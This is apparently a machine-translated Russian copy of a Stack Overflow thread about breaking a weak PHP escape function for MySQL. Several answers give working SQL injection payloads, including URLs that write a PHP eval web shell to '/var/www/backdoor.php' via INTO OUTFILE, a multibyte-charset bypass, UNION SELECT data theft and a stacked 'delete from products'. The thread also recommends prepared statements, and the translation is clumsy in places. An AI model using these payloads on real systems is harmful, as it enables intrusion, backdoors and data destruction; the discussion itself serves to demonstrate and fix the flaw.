Подтвердить что ты не робот

Найден слабая функция выхода для MySql, как использовать?

В приложении, над которым я работаю, я обнаружил слабую функцию выхода, чтобы предотвратить инъекцию. Я пытаюсь доказать это, но у меня возникли проблемы с простым примером.

Функция escape работает следующим образом (пример PHP).

function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

Я понимаю, что это не касается значений, закодированных с использованием двойных кавычек ("), но все запросы строятся с использованием одинарных кавычек (').

Кто может победить эту функцию эвакуации?

Требования:

  • Строка в запросах всегда заключена в кавычки.
  • Двойные кавычки никогда не используются.
  • Соединение с MySQL установлено на UTF8.

Простые примеры:

$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'";
$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
4b9b3361

Ответ 1

Если вы просто заменяете ' на '', тогда вы можете использовать это, введя \', который превратится в \'', и это позволит вам вырваться из-за того, это дает вам "буквенную букву" одинарной кавычки и реальную одиночную кавычку. Однако замена "\\" на "\\\\" отменяет эту атаку. Двухцилиндровая кавычка используется для "избежания" одиночных кавычек для MS-SQL, но это не подходит для MySQL, но она может работать.

Следующие коды доказывают, что эта функция эвакуации безопасна для всех, кроме трех условий. Этот код переносит все возможные варианты управляющих чартеров и проверяет их, чтобы убедиться, что ошибка не возникает с помощью оператора select с отдельной цитатой. Этот код был протестирован на MySQL 5.1.41.

<?php
mysql_connect("localhost",'root','');
function escape($value) {

  $value = str_replace("'","''",$value);
  $value = str_replace("\\","\\\\",$value);
  return $value;

}

$chars=array("'","\\","\0","a");

for($w=0;$w<4;$w++){
    for($x=0;$x<4;$x++){
        for($y=0;$y<4;$y++){
            for($z=0;$z<4;$z++){
                mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
            }       
        }
    }
}
print "Escape function is safe :(";
?>

Уязвимое состояние 1: никакие кавычки не используются.

mysql_query("select username from users where id=".escape($_GET['id']));

Exploit:

http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"

Уязвимое состояние 2: используемые двойные кавычки

mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");

Exploit:

http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Уязвимое условие 2: используются одиночные кавычки, однако используется альтернативный набор символов

Exploit:

http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1

Вывод заключается в том, чтобы всегда использовать mysql_real_escape_string() как управляющую процедуру для MySQL. Параметрированные библиотеки запросов, такие как pdo и adodb, всегда используют mysql_real_escape_string() при подключении к базе данных mysql. addslashes() FAR BETTER управляющей процедуры, потому что он заботится о уязвимом состоянии 2. Следует отметить, что даже не mysql_real_escape_string() остановит условие 1, однако параметризованная библиотека запросов будет.

Ответ 2

В самом деле, вы могли бы попробовать что-то с UNION SELECT

shop.php? ProductID = 322

= >

shop.php? productid = 322 UNION SELECT 1,2,3 ОТ пользователей ГДЕ 1; -

Отображение информации из других таблиц.

Конечно, вам нужно будет изменить имя таблицы и числа внутри UNION SELECT, чтобы соответствовать количеству столбцов, которые у вас есть. Это популярный способ извлечения данных, таких как имена пользователей и пароли администратора.

Ответ 4

Как насчет обращения с цифрами?

shop.php?productid=322 

становится

SELECT * FROM [Products] WHERE productid=322


shop.php?productid=322; delete from products;--

становится

SELECT * FROM [Products] WHERE productid=322; delete from products;--

(Не все запросы построены с одинарными кавычками и строками)

Ответ 5

Поскольку вы используете UTF-8 в качестве кодировки, это может быть уязвимым для чередующейся последовательности UTF-8. Апострофный символ ('), обычно закодированный как 0x27, может быть закодирован как последовательность перекрытия 0xc0 0xa7 (URL-кодировка:% c0% a7). Функция escape будет пропустить это, но MySQL может интерпретировать ее таким образом, что вызывает SQL-инъекцию.

Как уже упоминалось, вам действительно нужно использовать mysql_real_escape_string как минимум (легкое исправление в вашем случае), которое должно обрабатывать кодировку символов и другие проблемы для вас. Предпочтительно перейти к использованию подготовленных операторов.

Ответ 6

Я никогда не использовал PHP, однако не можете ли вы использовать вызовы с хранимой процедурой вместо прямых операторов SQL? Похоже, что это лучшая защита от SQL-инъекций, чем попытка использовать функцию escape.

Однако функция escape будет полезной против вредоносного javascript.

Ответ 7

как насчет...

\' or 1=1--

Которое должно быть расширено до:

\'' or 1=1--

Поэтому, используя его для id в следующем запросе...

$sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";

должно получиться:

$sql = "UPDATE users SET email = '<whatever>' WHERE id = '\'' or 1=1--';